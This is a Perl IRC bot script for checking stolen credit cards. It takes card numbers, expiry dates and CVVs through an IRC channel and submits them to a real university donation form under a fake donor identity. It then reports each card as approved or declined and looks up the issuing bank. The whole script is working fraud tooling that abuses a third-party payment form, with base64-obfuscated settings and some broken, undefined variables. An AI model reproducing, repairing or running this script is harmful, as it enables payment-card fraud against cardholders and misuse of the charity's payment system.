xxxx

#!/usr/bin/perl
#SQL SCAN Bot Check By zepp!

#Call to standalone modules directory
BEGIN{push(@INC,'Modules');}

#Modules Inclusion
use LWP::Socket;
use LWP::UserAgent;
use HTTP::Request;
use Parallel::ForkManager;
use MIME::Base64 ();
use WWW::Mechanize;
use WWW::Mechanize::FormFiller;
use Net::FTP;

$| = 1;

#Defines global variable
my $outcri = "Mg==";
$systemcri = MIME::Base64::decode($outcri);
$timeout       = $systemcri;
my $hostcri = "irc.crimeircd.net";
$systemcri = MIME::Base64::decode($hostcri);
$hosting        = "irc.crimeircd.net";
$port          = 6667;
my $nkpro = "CekerAyam";
$ident         = "Wtf";
$parallel_fork = 15;
my @botcmd = ('2');
@chans = ("#unique");
my $proo = "c2t5bGFuZGhhY2tlcg==";
$systempro = MIME::Base64::decode($proo);
my $cheataer = "c2t5bGFuZGhhY2tlcg==";
$sistempro = MIME::Base64::decode($cheataer);
@Zepp = ('Zepp3', 'Zepp1', 'Zepp');
#@user_agents = &get_user_agents();

#Irc Socket Connection
$irc_socket = new LWP::Socket;
$irc_socket->connect($hosting,$port);
$irc_socket->write("USER ".$ident." 8 * : shity paste bin cc checker \r\n");
$irc_socket->write("NICK ".$nkpro."\r\n");
$irc_socket->write("NICKSERV IDENTIFY 123456\r\n");
$irc_socket->write("JOIN $channel\r\n");

while($irc_socket)
{
	my $bof;
	$irc_socket->read_until("\n", \$bof);
	if($bof =~ /PING :(.*)/)
	{
		$irc_socket->write("PONG :$1\r\n");
	}

	if($bof =~ /PRIVMSG (.*?) :(.*)/)
	{
		#PRIVMSG
		my %msg = &get_msg($bof);
		if($msg{'what'} =~ /\!cmd/){
		&respond_to_privmsg(\%msg,"x14,1(x1This is that checkbot");
        }

        #Skyland Hacker was here


		&respond_to_privmsg(\%msg,"x14,1(x15:::x0 Status Checkingx15:::x14)(x15Credit Card:x14$numberx14)(x15 Exp date:x14 $expire$expaniox14)(x15CCV2:x14$cvv) (x15Amount USD:x9 $amountx14)");
                print "Initializing Merchant\n";


                if (substr($number,0,1)==4) {
			&respond_to_privmsg(\%msg,"x14,1(x15:::x0 Status Checkingx15:::x14)(x15Credit Card:x14$number) isx12VISAx14(x15 Please wait...!x14)");
		}
		if (substr($number,0,1)==5) {
			&respond_to_privmsg(\%msg,"x14,1(x15:::x0 Status Checkingx15:::x14)(x15Credit Card:x14$number) is x04Masterx07Cardx14(x15 Please wait...!x14)");
		}
		if (substr($number,0,1)==6) {
			&respond_to_privmsg(\%msg,"x14,1(x15:::x0 Status Checkingx15:::x14)(x15Credit Card:x14$number) is x12DISCOVERx14(x15 Please wait...!x14)");
		}

		my $agent = WWW::Mechanize->new( autocheck => 1 );
		my $formfiller = WWW::Mechanize::FormFiller->new();

		$agent->env_proxy();

		$agent->get('http://www.hua.edu/donate.php');
		$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  		$agent->form_number(1);

  		{ local $^W; $agent->current_form->value('Campaing', ''.$General.''); };
  		{ local $^W; $agent->current_form->value('Amount', ''.$amount.''); };
  		{ local $^W; $agent->current_form->value('First_name', 'Chuck'); };
  		{ local $^W; $agent->current_form->value('Last_name', 'Huth'); };
  		{ local $^W; $agent->current_form->value('Email', 'chuckh@gmail.com'); };
  		{ local $^W; $agent->current_form->value('Phone', '5778854675'); };
  		{ local $^W; $agent->current_form->value('Ext', '54'); };
	  	{ local $^W; $agent->current_form->value('Address', '11101 Magnolia Drive'); };
 	    { local $^W; $agent->current_form->value('Address 2', '11101 Magnolia Drive'); };
 	    { local $^W; $agent->current_form->value('Department', '11101 Magnolia Drive'); };
	  	{ local $^W; $agent->current_form->value('City', ' Cleveland'); };
  		{ local $^W; $agent->current_form->value('State', 'Ohio'); };
  		{ local $^W; $agent->current_form->value('Zip', '44106'); };
  		{ local $^W; $agent->current_form->value('Zip', '44106'); };
  		{ local $^W; $agent->current_form->value('Country', 'United States'); };
  		{ local $^W; $agent->current_form->value('Memory', 'no'); };
  		{ local $^W; $agent->current_form->value('Matching', 'no'); };
  		{ local $^W; $agent->current_form->value('pay', 'Credit Card'); };
  		{ local $^W; $agent->current_form->value('card_num', ''.$number.''); };
  		{ local $^W; $agent->current_form->value('exp_month', ''.$expiremonth.''); };
  		{ local $^W; $agent->current_form->value('exp_year', ''.$expireyear.''); };
  		{ local $^W; $agent->current_form->value('card_code', ''.$cvv.''); };

  		$agent->submit();
 	 	print $agent->content,"\n";

		my $foundcontent=$agent->content;
		if ($foundcontent =~/The transaction has been declined because of an AVS mismatch./){

						my $database = "banklist.txt";
						open FILE,"$database" or die "Error Opening File: $!";
						my @results=<FILE>;
						close FILE;

						my $bankinfo = $1;
						&respond_to_privmsg(\%msg,"x14,1(x15:::x0 Result isx15:::x14) (x15Credit Card:x14x14$number $expire $expanio $cvv x14)x9APPROVED!x15Transaction. Amount USD:x9 $amountx15Thank you for your payment!");
						my $bank = substr($number,0,6);

						foreach my $url (@results){
							if($url =~ m/$bank\|(.*)/){
								&respond_to_privmsg(\%msg,"x14,1(x15:::x0 Bankx15:::x14)x7$bankx15$1");
								print "card $variable!";
								}
							}
						}

					elsif ($foundcontent =~/The transaction completed successfully!/){
						my $database = "banklist.txt";
						open FILE,"$database" or die "Error Opening File: $!";
						my @results=<FILE>;
						close FILE;
						my $bankinfo = $1;
						&respond_to_privmsg(\%msg,"x14,1(x15:::x0 Result isx15:::x14) (x15Credit Card:x14x14$number $expire$expanio $cvv $amountUSDx14)x9APPROVED!x15Transaction. Thank you for your payment.");
						my $bank = substr($number,0,6);
						foreach my $url (@results){
							if($url =~ m/$bank\|(.*)/){
								my $bankinfo = $1;
								&respond_to_privmsg(\%msg,"x14,1(x15:::x0 Bankx15:::x14)x7$bankx15$1");
								print "card $variable!";
								}
							}
						}elsif ($foundcontent =~/Credit card expiration date is invalid./){
							&respond_to_privmsg(\%msg,"x14,1(x15:::x0 Result isx15:::x14) (x15Expiration Date:x14x14$expire$expaniox14)x15 is invalid.");
						}elsif ($foundcontent =~/The transaction has been declined because of an AVS mismatch./){
							&respond_to_privmsg(\%msg,"x14,1(x15:::x0 Result isx15:::x14) (x15Credit Card:x14x14$number $expire$expanio $cvvx14)x4DECLINED");
							}
						}
sub respond_to_privmsg()
{
	my ($data,$m) = ($_[0],$_[1]);
	if($data->{'to'} =~ /#/)
	{
		&privmsg($data->{'to'},$m);
	}
	else
	{
		&privmsg($data->{'from'},$m);
	}
}

sub privmsg()
{
	my($nick,$send) = @_;
	$irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
}
}